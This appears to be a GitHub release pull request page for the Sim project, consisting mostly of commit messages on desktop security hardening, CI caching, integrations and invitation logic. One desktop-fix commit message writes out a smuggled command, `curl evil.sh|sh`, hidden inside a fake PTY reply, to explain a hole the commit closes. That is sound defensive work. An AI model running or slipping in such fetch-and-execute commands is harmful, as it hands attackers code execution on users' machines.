predicate was inverted to a reply allowlist, including one asserting "a raw
write only becomes command execution on the trailing \r" — which is exactly the
claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag
carried the same stale name and is now payloadNeedsDeliberateInput, since it
gates every payload that is not a solicited reply, not only submits.

A TSDoc block in the browser preload had been orphaned: the new
autocompleteTokens doc was inserted between isPasswordField and its own
comment, so the doc documented the wrong declaration.

The rest is duplication. The token-membership rationale had been collapsed to
six copies of a pointer at the wrong target — the module header explains the
duplication, not the token rule — so the pointers are gone and the rationale
stays where it is stated in full. The subresource-exemption reasoning was still
in three places; session.ts now points at the two url-guard TSDocs that own it.
The "every address is judged" reasoning was in four places when ResolvedHost
already documents it for every consumer. Also trimmed: a paragraph restating
RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto
AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and
two lines inside one comment block that repeated each other.

Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL
notes, the String(fn) serialization contract in page-functions.ts's header, the
0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and
double-callback notes, and the test comments explaining why a fixture is shaped
as it is. Those record decisions, which is what this repo comments.

* fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML

Both findings are in this PR's own hardening.

The reply allowlist accepted a control byte in its body. DCS and OSC used
`[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its
submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR
BEL` — and be waved through as machine-generated, skipping the deliberate-input
gate entirely and reopening the path the gate exists to close. Bodies are
printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL
and never a control byte. X10 mouse is bounded the same way, since its three
bytes are offset by 32 and a control byte there is never legitimate either.

isSecretField compared tagName raw in all seven copies, and
isSensitiveValueField in both of its. tagName is lower-case for HTML elements in
an XHTML document, so every credential field there read as ordinary — the value
redaction and the keystroke refusal both failed open, on exactly the pages the
predicate exists for. The earlier round upper-cased the frame and focusability
comparisons and missed these nine. Normalized now, with the rule stated once in
the module header rather than nine times.

Both are covered by tests that fail against the previous form: a smuggled
command in each of the three affected patterns, a genuine reply of each still
forwarded, and a lower-case-tagName password field refused for both typing and
snapshot disclosure.

* fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux

Fixes the two behavioural regressions rather than shipping them documented.

The context-menu paste could be silently dropped. It read the clipboard with
`await navigator.clipboard.readText()` and then wrote the text, so the write
landed after an await — and if that read outran the input-recency window (a
permission prompt, a slow read) the terminal-write gate refused it with no error
and no log, on an action the user had just asked for.

Reading in main removes the window entirely, and is the direction Electron
itself took: the `clipboard` module was removed from renderers under RFC 0019 so
page content cannot reach the clipboard, and the documented pattern is to use it
in the main process behind a narrow contextBridge method. So `terminal:paste` is
a gated invoke channel that reads the clipboard itself. It needs a real gesture
(the Paste click), but not the write gate — the bytes are the user's clipboard
rather than the caller's, so a compromised renderer can only replay what was
already copied instead of choosing it. `paste` is optional on the bridge and the
renderer falls back to the old path, so a shell that predates it is unaffected.

The tmux status write is silenced. Closing a terminal tab reclaims the run's
temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets
it write on to the unlinked inode, and the space is reclaimed when it exits — but
the command's trailing `printf > .../status` then failed into the pipeline and
printed `No such file or directory` into the user's own tmux window, minutes
after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim
and drops the noise.
@waleedlatif1
waleedlatif1 requested a review from a team as a code owner July 29, 2026 23:33
@greptile-apps

greptile-apps Bot commented Jul 29, 2026

Copy link
Copy Markdown
Contributor

Too many files changed for review. (194 files found, 100 file limit)

Bypass the limit by tagging @greptile-apps to review.

@vercel

vercel Bot commented Jul 29, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

1 Skipped Deployment
Project Deployment Actions Updated (UTC)
docs Skipped Skipped Jul 30, 2026 6:03am

Request Review

@cursor

cursor Bot commented Jul 29, 2026

Copy link
Copy Markdown

PR Summary

High Risk
Desktop changes touch authentication flows, SSRF guards, terminal IPC, and credential exposure boundaries; table view APIs and Outlook calendar expand external API surface on the hosted app.

Overview
Desktop switches the default app origin to https://www.sim.ai so cookies and navigation guards match the canonical host, routes all sign-in through the system browser (removing in-window GitHub login), and adds a Back menu action for trapped OAuth flows.

Security-focused desktop changes tighten the embedded browser agent (multi-token autocomplete secret detection, OTP/card value withholding, closed-shadow opaque focus, DNS-resolving subresource SSRF with a cached verdict cleared on profile wipe), replace renderer userActivation with main-process input tracking for IPC gestures, gate terminal:write behind deliberate input while allowing PTY replies and adding terminal:paste from the clipboard, split reveal vs copy OS-auth grants, validate manual updater URLs to GitHub release assets only, and handle sign-in handoff failures when no main window exists.

Tables expose new authenticated routes to list, create, update, and delete saved views (filter/sort/column presets) per table.

Outlook documentation and block wiring add calendar list/get/create/update/delete/respond operations via Microsoft Graph.

Pi docs describe Babysit Mode (bot review rounds, check polling, permissions, partial stopReason outcomes) and sandbox lifetime/sizing notes.

Infra/misc: CI app build timeout 15→25 minutes; 1Password Connect and the agent URL guard share @sim/security/dns resolveHostAddresses; GitHub integration docs add repo_full_name on PR head/base refs.

Reviewed by Cursor Bugbot for commit 4f776b7. Configure here.

@github-actions github-actions Bot added the requires-mothership-merge Has a companion PR on the mothership/copilot side — merge in lockstep label Jul 29, 2026
@github-actions

github-actions Bot commented Jul 29, 2026

Copy link
Copy Markdown

⚠️ Cross-repo companion check

One or more companion PRs aren't merged into main yet (aggregated across the feature PRs in this release). Merging this without them will leave copilot and sim out of sync — merge them in lockstep.

  • ⚠️ simstudioai/mothership#374 — merged into staging (this PR targets main) — feat(browser, terminal): add browser and terminal agents, rework everything
  • ⚠️ simstudioai/mothership#379 — merged into staging (this PR targets main) — fix(validation_error): tool-result context blowups, recovery, provider misclassi

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes using high effort and found 1 potential issue.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit 4f776b7. Configure here.

Comment thread apps/desktop/src/main/config.ts
* fix(desktop): fix release

* fix

* Updates

* chore(copilot): sync generated mothership contract mirrors (user_table select descriptions from mothership #373)

* fix(desktop): canonicalize the apex origin in setOrigin, not just on load
* fix(ci): scope the Next.js build cache sticky disk per branch

The Turbopack persistent build cache disk was keyed on github.event_name
alone, so every open PR shared one mutable volume. A sticky disk mount
clones the last committed snapshot and commits back last-write-wins, so
each PR build restored a cache produced by a different branch.

Measured on the same staging commit, two runs minutes apart: the
single-writer push disk compiled in 9.3 min, the shared pull_request
disk in 14.0 min. Across 22 recent runs, push builds land at 3.5-11 min
and PR builds at 13.5-17.8 min.

Correctness matters more than the minutes here.
turbopackFileSystemCacheForBuild is beta and cross-commit restore is not
a documented-supported mode - vercel/next.js#87283 reports stale HTML
from a cache built at another commit, with no maintainer answer. Every
other cache layer in this repo already isolates by branch: GitHub's
cache cannot read sibling branches, and Blacksmith's cache product
branch-scopes by default. Only this key didn't.

Adds pre/post-build cache size reporting, because whether the cache was
warm is otherwise invisible - the disk mounts either way and turbo
buffers the build log. Adds ci-cache-cleanup.yml to delete a branch's
disk when its PR closes, so per-branch disks track open PRs instead of
accumulating at ~5 GB each.

Also corrects the 105s-cold/22s-warm comment: those were local numbers
and have never reproduced in CI.

* refactor(ci): trim the cache-key comments to the load-bearing facts

Keeps the mechanism (one mutable volume per key, clone-on-mount,
last-write-wins) and the two numbers, drops the restated reasoning. Both
report steps collapse to a single du, dropping a second full walk of a
~5 GB tree. Cleanup workflow loses a concurrency group a once-per-PR
delete never needed.
…e comments (#6076)

`optimizePackageImports` is not a no-op under Turbopack, despite what the
Next docs say. In 16.2.11 the list feeds `side_effect_free_packages` and is
force-appended to `transpiledPackages`, which also removes each entry from
the server externals set — and it overrides each listed package's own
`sideEffects` declaration rather than hinting. So a stale entry is not free.

Two entries are provably dead: `lodash` has zero import sites repo-wide and
is not a dependency of any package here (Next also already applies a
`lodash -> lodash/{{member}}` modularizeImports rule unconditionally), and
`@radix-ui/react-accordion`'s only occurrence in the repo was this line.

`prettier` in `transpilePackages` is dead for a different reason: nothing
imports it, it is in no package.json, and the repo formats with Biome. It
sits in node_modules only as a transitive dep. `transpilePackages` matches
on modules already in the graph, so this entry was transpiling nothing.

Also corrects two comments that claimed more than the code does:
- the `.map` header rule said it blocks access to sourcemaps; it only sets
  `noindex` and a TTL. The maps ship publicly in the production image.
- the minimal-registry comment's numbers were badly stale (~247 tools ->
  4,351; ~2,074 modules -> ~5,907) and its framing wrong: blocks are not a
  co-equal cost, and the tool registry is reached through four redundant
  client edges, not just providers/utils — which is why cutting only that
  one edge buys a single module.

No behavior change intended: the removed entries were inert. Kept `zod`,
`reactflow`, `framer-motion`, and `streamdown`, which are real barrels with
real import sites — removing those changes tree-shaking hints and needs a
bundle-size measurement, not a guess.
Four read-token tools over Logfire's query API: structured span/log search,
raw SQL against records/metrics, full-trace fetch by ID, and read-token
introspection. Plus the block, icon, registry wiring, and generated docs.

Requests go to /v2/query with the region resolved from the token's
pylf_v{n}_{region}_ prefix, overridable by an explicit region or a self-hosted
host (public HTTPS only, per the tool executor's URL policy). Structured
filters are emitted as escaped SQL literals, using DataFusion contains() so
%/_ in user input stay literal.

Co-authored-by: Claude <noreply@anthropic.com>
@icecrasher321 icecrasher321 changed the title v0.7.49: outlook calendar tools, shared folders, desktop security hardening, pi improvements v0.7.49: outlook calendar, logfire tools, shared folders, desktop security hardening, pi improvements Jul 30, 2026
16.2.12 is the current stable (published 2026-07-25) and its entire
changelog is two PRs: a docs backport and vercel/next.js#95831, "Fixes to
support TypeScript 7".

That second one matters here. `apps/sim` declares `typescript: ^7.0.2` and
the lockfile resolves 7.0.2, while 16.2.11 predates any TS7 handling — not
even the actionable-error guard (#95837), which was never merged. The
upstream symptom is `next build` dying with a silent SIGSEGV during its
type-check step, because the legacy TypeScript JS API that Next called is
gone in TS7. Builds pass today only because Next detects
@typescript/native-preview as the compiler and takes a different path, so
we are accidentally-working rather than supported. 16.2.12 adds the
`experimental.useTypeScriptCli` backend that makes this configuration
official.

Zero build-performance content in the patch, so this is not a speed change.

Bumps all eight pins in lockstep — next, @next/env and the four
@next/swc-* binaries at the root, plus the three app/package copies. The
swc binaries must move with next: they are platform-gated
optionalDependencies, so a version skew or a gate exclusion leaves them out
of bun.lock entirely and `bun install --frozen-lockfile` installs no
compiler at all (the #5945 failure).

Also re-dates the bunfig.toml gate note, which said to drop the next
entries on 2026-07-28 — yesterday. 16.2.12 is inside the 7-day window until
2026-08-01, so following that instruction would have blocked this bump and
re-triggered the missing-compiler failure. Re-date on future bumps rather
than deleting the entries early.
…esearch endpoint (#6074)

* feat(exa): refresh Exa integration against current API, retire dead research endpoint

Exa's dev-rel team flagged that our integration was written against a
retired version of their API. Validated every claim against the live API
with a real key.

- /research/v1 returns HTTP 410 RESEARCH_RETIRED, so the Research
  operation was hard-broken in production. Removed it and added an Agent
  operation on /agent/runs. Saved workflows on the old operation are
  routed to Agent so they start working again.
- Category dropdown sent values Exa no longer recognizes (research_paper,
  news_article, movie, song, ...). Exa accepts category as an unvalidated
  soft hint, so these silently stopped steering results rather than
  erroring. Replaced with the current taxonomy and remapped legacy values.
- Live crawl mode defaulted to 'never', silently forcing cache-only
  results on every search. Removed the default and exposed maxAgeHours,
  which replaces the deprecated livecrawl. Exa 400s when both are sent,
  so they are now mutually exclusive.
- numResults was capped at 25 in the UI; the API allows 1-100.
- Search types refreshed to instant/fast/auto/deep-lite/deep/
  deep-reasoning. Legacy neural/keyword still pass through.
- Exposed result id so search results can be chained into Get Contents
  via ids, plus highlightScores, subpages, entities, extras, statuses,
  requestId, and outputSchema structured output with grounding.
- answer text controls cited-source text, not the answer; fixed the
  description and the dead query field.
- Marked findSimilar and the crawl-date filters deprecated. Both still
  work, so existing workflows are unaffected.
- Copilot search-online never requested page content, so every snippet
  was empty. Now requests highlights.

* fix(exa): address review findings on the API refresh

- A run already terminal on creation went through a path that never set
  success=false, so a failed or cancelled run reported as successful.
  Both the create path and the poll loop now settle through one function.
- Routing exa_research to Agent dropped the research output shape, so
  saved workflows referencing research[0].text resolved to undefined. The
  agent tool now also emits that legacy shape.
- The Agent operation's inputs are conditioned on both exa_agent and
  exa_research so the serializer keeps carrying a stored research query;
  it drops any value whose sub-block condition no longer matches.
- Dropped the model to effort mapping and the unused ExaResearchParams:
  the serializer drops values for removed sub-blocks, so model never
  reached the params function.

* fix(exa): keep legacy research model, add subblock migrations, sharpen outputs

The subblock ID stability check caught the removed subblocks — that gate
exists precisely to stop removals from breaking deployed workflows.

- Restore the research model sub-block, scoped to the legacy exa_research
  operation so it never shows for new workflows but still serializes for
  saved ones, and restore the model to effort mapping. Removing it lost
  the configured research depth, silently falling back to effort auto.
- Register useAutoprompt and livecrawl in SUBBLOCK_ID_MIGRATIONS as
  intentional removals. Neither has a value-compatible replacement:
  livecrawl is a mode string and maxAgeHours a number, so mapping one to
  the other would send NaN.
- Replace vague json output descriptions with their inner field lists.
- Drop the separate compat test file; the coverage that guards real
  regressions now lives in exa.test.ts.

* fix(exa): flag empty Get Contents configs in the editor, keep legacy research depth

- A saved research workflow with no stored model fell through to the
  Agent default of auto rather than the standard depth the old Research
  operation used. Legacy research now always maps to an effort level,
  defaulting to medium, and the legacy model sub-block carries the same
  default the old dropdown had.
- Get Contents needed both selectors optional so the ids path is
  reachable, which left an empty config failing only at run time. URLs is
  now conditionally required, dropping the requirement when result IDs
  are supplied, so the editor flags the empty case. The exactly-one check
  in the request body stays as the backstop.

* fix(exa): revert conditional required on Get Contents URLs

The conditional required callback did not work and introduced a
regression. `isFieldRequired` in webhook deploy calls `config.required()`
with no arguments, so the callback never saw `ids` and left URLs required
— an ids-only block would have been reported as missing a required field
on deploy. `collectBlockFieldIssues` skips sub-block required checks
whose id matches a tool param, so it never evaluated the callback either.

Both selectors go back to optional with the exactly-one check in the
request body, which is what the integration rules prescribe for mutually
exclusive alternate identifiers. Added a comment recording why a
conditional required cannot express this, so it is not reattempted.
…ry (#6082)

`keeps the ceiling when the run outlives it` passed a deadline of exactly
`PI_SANDBOX_MAX_LIFETIME_MS`, then asserted the resolved lifetime equalled
that ceiling. But the lifetime is `Math.min(ceiling, deadline - Date.now())`,
so the remaining budget decays below the ceiling as soon as one millisecond
of test time elapses and `Math.min` returns the budget instead. It passed
only when zero milliseconds happened to pass, which is why it failed CI as
`expected 5399999 to be 5400000` — 1 failure in 16,047.

Demonstrated: with the old input, a 5ms delay before the assertion yields
5399994 (off by 6ms); with a deadline 60s past the ceiling it yields
5400000 exactly, regardless of elapsed time.

An equal deadline was also not the case the test name describes — the run
has to *outlive* the ceiling, not match it — so raising it past the ceiling
fixes the assertion and the intent together. Derives the input from
`PI_SANDBOX_MAX_LIFETIME_MS` rather than restating 90 minutes, so the test
cannot drift if the async execution ceiling moves.

Also drops the old comment's claim that "the provider cap still wins": the
provider cap is 24h, far above the 90m async ceiling, so the ceiling is what
wins here.
BillLeoutsakosvl346 and others added 2 commits July 29, 2026 18:59
* feat(pi): add update branch mode

* feat(pi): manage pull requests in update mode

* docs(pi): clarify closed PR behavior

* fix(pi): handle update PR finalization races

* fix(pi): accept renamed update PR repositories

* fix(pi): clarify shared open PR errors

* fix(pi): recheck update PR ambiguity

* fix(pi): recreate closed update PRs

* fix(pi): follow replacement update PRs

* fix(pi): preserve update PR BYOK after staging rebase

---------

Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local>
Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain>
…6083)

`blocks/registry-maps` and `blocks/registry` sit in an import cycle: a block
config reaches back through providers/utils -> tools/params -> blocks/index
-> blocks/registry, which imports registry-maps. Whichever module the cycle
is entered through evaluates first, so `blocks/registry` can run while
`registry-maps` is still initializing.

Two module-scope reads of the imported binding therefore threw
`ReferenceError: Cannot access 'BLOCK_REGISTRY' before initialization` for
anything importing `@/blocks/registry-maps` directly — scripts and tests
under Bun:

  const HAS_PREVIEW_BLOCKS = Object.values(BLOCK_REGISTRY).some(...)   // line 28
  export const registry: Record<string, BlockConfig> = BLOCK_REGISTRY  // line 238

Only line 28 showed in the stack trace; fixing it alone would have moved the
failure to line 238. Both are now deferred: `anyPreviewBlocks()` memoizes on
first use (still computed once, as the old comment promised), and the raw map
is exposed as `getBlockRegistry()`.

This worked under Turbopack only because that bundler happened to order the
modules favourably — not a property to build on, and any registry
restructuring would perturb it. Breaking it now is a prerequisite for the
metadata/implementation split that the tool-registry module-graph audit
proposes, not a fix to discover midway through one.

Three consumers updated. `tsc` found two that grep missed, because they
destructure the binding off a dynamic import (`const { registry: blockRegistry }
= await import(...)`) rather than naming it in a static import.

Behaviour-preserving: `getBlockRegistry()[type]` is the same raw lookup the
alias gave, deliberately not `getBlock()`, which would add version
normalization and custom-block overlay fallback.
…uilds) (#6080)

* perf(ci): disable the Turbopack persistent build cache

It is a net loss at this app's size. A controlled A/B on one branch (#6078),
three runs with a byte-identical module graph so only cache state varied:

  cache OFF        113s compile, 2m53s job
  cache ON, cold   162s compile, 3m54s job
  cache ON, warm   360s compile, 8m18s job

The cache made the same build 3.2x slower. It also grew 5.1 GB -> 12 GB
across two runs of an unchanged tree, which explains the progressive
degradation seen on longer-lived disks (up to 11.7 min): the more a disk is
written, the more the next run must read and revalidate. Flag manipulation
is visible in the logs — the cache-on runs print
`✓ turbopackFileSystemCacheForBuild`, the cache-off run omits it — and every
run used `turbo --force` so none is a replayed log.

#5869 enabled this on locally-measured numbers (105s cold -> 22s warm) that
never reproduced in CI and are inverted here. #6072 then branch-scoped the
disk to stop PRs restoring each other's caches; that fixed a real problem,
but with the cache off the disk is unnecessary, so the mount, the pre/post
size reporting, and the env gate all go with it.

Pins `turbopackFileSystemCacheForBuild: false` explicitly rather than relying
on the Next default: upstream already flips that default to true in
canary/preview builds (vercel/next.js#94616), so leaning on the default would
let a version bump silently re-enable this.

Keeps ci-cache-cleanup.yml, re-scoped to draining the 5-12 GB volumes that
PRs opened while the per-branch key was live still hold — nothing else
reclaims them. It is a no-op for new PRs and can be deleted once drained.

Caveat: n=1 per cell. The 3.2x effect size and agreement with ~15 prior
observations make it convincing, but this is three runs, not a distribution.

* docs(ci): correct the cleanup key comment after the mount was removed

Greptile P2: the delete step still claimed its key must stay byte-identical
to the Mount Next.js build cache step in test-build.yml, but this PR removes
that mount. It is now a hard-coded legacy drain key that mirrors nothing.
…in 2026 (#6084)

* feat(library): Best AI Agents for Scheduling and Calendar Management in 2026

* feat(library): add cover image for the scheduling and calendar management post

---------

Co-authored-by: Sim Pi Agent <pi@sim.ai>
Co-authored-by: Waleed Latif <walif6@gmail.com>
`vitest.setup.ts` loaded `@testing-library/jest-dom/vitest` unconditionally,
so all 1,219 test files paid for it. jest-dom only registers DOM matchers
(`toBeInTheDocument`, `toBeVisible`, ...), which are useless without a
document — and 985 of those files declare `@vitest-environment node`.

Guarding the import on `typeof document !== 'undefined'` loads it for exactly
the files that can use it. All 7 files that actually call a jest-dom matcher
are explicitly `@vitest-environment jsdom`, so none loses anything; verified
by running them.

Measured locally, same machine, full suite:

  baseline   Duration 179.47s  (setup 367.13s aggregate)
  guarded    Duration 165.78s  (setup 252.72s aggregate)

7.6% off the suite, 31% off aggregate setup time. On a node-only subset
(50 files, n=3 each) it is 21%: 2.75s -> 2.16s median. Identical results
either way: 1225 files / 16184 tests pass, plus one failure that reproduces
on unmodified staging (cloud-review-tools.test.ts cannot find `rg` from its
spawned python3 locally; CI installs ripgrep explicitly and it passes there).

Also fixes two pieces of CI documentation that claimed more than the code
does — the same class of thing #6076 cleaned up:

- The step was named "Run tests with coverage" but runs `bun run test` =
  `vitest run`, with no `--coverage` anywhere.
- The Codecov upload reads `apps/sim/coverage`, which nothing generates
  (vitest.config.ts declares no coverage provider). It uploads nothing and
  still reports success in ~1s because `fail_ci_if_error: false`. Annotated
  rather than deleted, since whether to enable coverage or drop the step is
  a call for the team, not a side effect of a perf change.
UPLOAD_DIR_SERVER is join(process.cwd(), 'uploads'), so it follows the cwd
rather than a fixed root. Under turbo run test the cwd is apps/sim and that
package's /uploads rule catches it, but running vitest from the repo root
writes ~40 uploads/execution/**/large-value-*.json files to a path nothing
ignored.

Anchored on purpose: an unanchored uploads/ would also match
apps/sim/lib/uploads/ (61 tracked source files) and silently ignore anything
added there later.
icecrasher321 and others added 2 commits July 29, 2026 20:27
…n join, disclose it at accept, and add external workspace invites (#5918)

* feat(invites): explicit external members

* update docs

* fix(organizations): atomic admin workspace sweep, removal-impact status in dialog, and preview-unavailable disclosure

Review round 1: the v1 admin add-member now commits membership and the
workspace sweep in one transaction; the remove-member dialog holds confirm
while the credential-impact check loads and shows a caution when it fails;
a failed join preview flags joinPreviewUnavailable so the accept screen
falls back to a generic migration notice. Also aligns the invite test's
react-query mock and repairs two pre-existing docs type errors.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(organizations): close the concurrent-workspace escape in the join sweep

Personal workspace creation now serializes with organization joins on the
user's billing-identity lock and re-verifies membership inside its
transaction; both join paths (invite acceptance and the v1 admin add)
re-read the owned-workspace set under that lock after the member insert
and roll the whole join back when it diverged from the advisory-lock plan,
so a workspace created mid-join can never land outside the organization.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(organizations): fail stale-grant member joins and re-resolve the creation race client-side

A member-role org acceptance whose grants all turned stale now rolls back
with workspace-not-found instead of stranding a workspace-less member, and
the workspace resolver treats the creation-vs-join 409 as a signal to
re-resolve (the user is authenticated with org workspaces) rather than
falling into the login path.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): mirror the stale-grant gate in the join preview

The accept-screen preview now returns no-join for a member-role org
invite whose grants all left the stamped organization, matching the
acceptance-side rollback so the disclosure never promises a migration
that acceptance would refuse.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(workspaces): survive the join race on lazy default creation and gate removal on live impact data

The workspace list GET now re-lists (returning the join sweep's
workspaces) when lazy default creation loses the race to an organization
join instead of failing with a 500, and the remove-member dialog gates
its confirm on isFetching so a background refetch can never let an admin
confirm against a stale credential-impact list.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): surface the accept conflict message and refresh workspace caches post-accept

The accept route now carries the human-readable message alongside the
machine-readable error kind (the client prefers it for server-error), and
a successful accept invalidates workspace queries so the swept workspaces
appear immediately instead of after the stale window.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(billing): sweep archived workspaces in Pro-to-Team conversion and org creation

Every attach call site now passes includeArchived so the archived escape
hatch is closed uniformly — join-attach, admin move, subscription-driven
org provisioning, and manual org creation all sweep archived personal
workspaces into the organization.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): reject acceptance when the sweep set differs from the disclosed set

The join preview now carries the workspace ids it disclosed, the accept
screen echoes them back as a disclosure token, and acceptance rolls back
with disclosure-outdated (409) whenever the set it would sweep no longer
matches — a workspace created after the preview rendered can never move
without the user seeing the refreshed notice first.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): send the disclosure token for no-join previews too

A preview that predicted no join still tells the user nothing moves — the
empty disclosed set is now echoed on accept, so a join that becomes
possible between preview and accept (left another org, billing turned
usable, grants un-staled) conflicts with disclosure-outdated instead of
sweeping workspaces without a rendered notice.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): gate all-stale member joins before disclosure and always refetch removal impact

The all-stale check for member-role org invites now runs before any
mutation and before the disclosure comparison, so an invite whose grants
all left the org fails with workspace-not-found instead of trapping
owners of personal workspaces in a disclosure-outdated retry loop. The
removal-impact query drops its stale window (staleTime 0): every dialog
open refetches while the confirm is held on isFetching.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(organizations): keep-external on org recovery and label archived move candidates

Org creation/recovery now uses the keep-external collaborator policy
(matching Pro-to-Team conversion) so different-org collaborators on
archived workspaces cannot abort it with a conflict, and the admin
workspace-move search and preflight expose an archived flag so internal
tooling can label archived targets.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(invitations): guard the reverse disclosure direction

A will-join notice whose acceptance downgrades to no-join (stale
escalation denial, concurrent other-org membership) now fails with
disclosure-outdated instead of silently succeeding as an external grant —
the disclosure token binds the outcome in both directions.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* address comments

* fix

* fix(invitations): one invite surface, coalesced grants, coherent seat model

Consolidate the two invite modals into a single surface and fix the
semantics the split had been hiding.

Invite flow:
- One InviteModal for all three entry points (workspace header, workspace
  settings, organization settings), with a workspace multi-select and an
  explicit Membership choice that states the seat consequence.
- Coalesce grants instead of 500ing. A partial unique index allows one
  pending invitation per (email, organization), so inviting someone to a
  second workspace raised a raw 23505. New workspaces now merge into the
  pending invitation (with a retry for the concurrent-insert race) and the
  invitee gets one link covering everything.
- External collaborators require their own paid plan, checked at invite
  time and re-checked on accept, since the invitation lives for 7 days.
  Imposed externality is exempt in both places: an invitee already in
  another organization is forced external regardless of the inviter's
  choice, so the plan gate must not apply to them.
- Every invitation must grant at least one workspace, so accepting always
  lands somewhere. Enforced at creation for all roles.
- Revocation is grant-scoped. Since one invitation can span workspaces,
  revoking from a workspace's member list withdraws only that grant and
  cancels the invitation just when the last one goes. Whole-invitation
  revocation now requires authority over all of it rather than admin on
  any single granted workspace.
- The accept screen names every granted workspace and states whether the
  invitee joins as a member, an admin, or an external collaborator, and
  whether that uses a seat.

Seats:
- One rule for the pending-invitation predicate, seat capacity, and the
  derived figures; the three counting sites now share it.
- Team seats are elastic (subscription.seats tracks the member count), so
  treating that as a cap reported negative headroom on any outstanding
  invite. Available seats are clamped and gates branch on whether the plan
  actually has a fixed cap.
- POST /api/v1/admin/organizations/[id]/members could never succeed on
  Team: it validated N members against N seats. It now skips the cap for
  elastic plans, matching invitation acceptance, and reconciles seats
  after a committed add.

Also surfaces the External label on the workspace Teammates list, which
already received the flag and dropped it, and removes dead code: the
grantless organization-invite route and contract, three unreferenced
invitation helpers, and the unreachable
ensureUserInOrganization/addUserToOrganization/validateMembershipAddition
cluster.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): close the two accept-disclosure gaps Bugbot found

Membership notice ignored the join preview. `buildMembershipNotice` keyed off
the invitation's sent `membershipIntent`, but acceptance resolves an internal
invite to external when the invitee already belongs to another organization, or
when the granted workspace changed organizations after the invite went out. The
screen therefore promised "you'll join as a member, which uses one of their
seats" to people who would neither join nor consume a seat. It now keys on the
preview's `willJoinOrganization` — the same signal the migration notice already
used — and falls back to the sent intent only when no preview could be computed.

In-app accept skipped the disclosure entirely. `useAcceptMyInvitation` posted an
empty body, so `disclosedWorkspaceIds` was absent and the server's consent guard
was skipped, and the pending-invitations modal never showed which owned
workspaces would move. Accepting from the workspace switcher (including the
desktop path) could silently sweep personal workspaces into the organization,
bypassing the consent model this PR adds on /invite. The list endpoint now
returns each invitation's join preview, the modal renders the same
membership/migration disclosure as /invite, and accept echoes
`disclosedWorkspaceIds` so the guard applies on both paths.

Both notices moved into lib/invitations/disclosure-copy.ts and are consumed by
/invite and the modal, so the two accept surfaces cannot drift into disclosing
different outcomes for the same invitation — which is how this gap arose.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): carry the membership outcome in the disclosure token

Empty disclosure skipped membership consent. The token was only the
workspace-id list, so a no-join preview and a will-join preview for someone who
owns nothing both echoed `[]`. Neither guard could tell those apart: the forward
check compares sweep sets, and the reverse check required a non-empty disclosed
set. An invitee who left their other organization between preview and accept
would therefore be silently made a seat-consuming member after being told they
would stay external, and the mirror case could silently demote a promised join.

The accept body now also carries `disclosedWillJoinOrganization`, compared
against the resolved outcome before any write, so consent covers the membership
decision and not just the migration. Both accept surfaces send it.

This was widened by the previous commit: keying the membership notice on the
preview made the screen promise a join outcome the token never verified.

In-app accept errors lacked copy. `getInvitationErrorMessage` omitted
`external-requires-paid-plan`, `disclosure-outdated`, and
`workspace-not-found`, so those failures fell through to the generic "may have
expired" fallback. `disclosure-outdated` became newly reachable in-app the moment
that path started sending the token, so the gap arrived with the fix for it.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): compare the join disclosure against new-membership creation

The membership consent guard compared the disclosed outcome against
`shouldJoinOrganization`, which stays true for an invitee who already belongs to
the target organization — the invitation's intent is still internal. The join
preview reports no-join for exactly that case, because nothing changes for them.
Every such acceptance therefore failed `disclosure-outdated`, and the retry
re-rendered the same preview, so the invitation became permanently unacceptable.

The guard now compares against whether acceptance creates a NEW membership
(`shouldJoinOrganization && !alreadyMemberOfTargetOrganization`), which is what
the disclosure actually promises and what the preview reports. The
already-a-member predicate is hoisted and shared with the join block below so
the guard and the billing path cannot disagree about it.

Regression test asserts a pre-existing member accepts with a no-join disclosure;
it fails with `disclosure-outdated` against the previous comparison.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): tell an existing member their standing is unchanged

The join preview reported the same no-join shape for two different outcomes: an
external collaborator, and an invitee who already belongs to the organization
acceptance lands in. `buildMembershipNotice` rendered both as "you'll join as an
external collaborator ... everything you own stays yours", which is wrong for an
existing member — they stay an internal member and simply gain the granted
workspaces.

The preview now reports `alreadyMemberOfOrganization` for that case (a
membership in a DIFFERENCE organization is still the external path, since
acceptance downgrades), and the notice states that standing is unchanged. This is
the same conflation behind the accept loop fixed in 4eb7725, now removed from
the shape itself rather than worked around per consumer.

Also re-verify the removal-impact disclosure at the moment of confirmation.
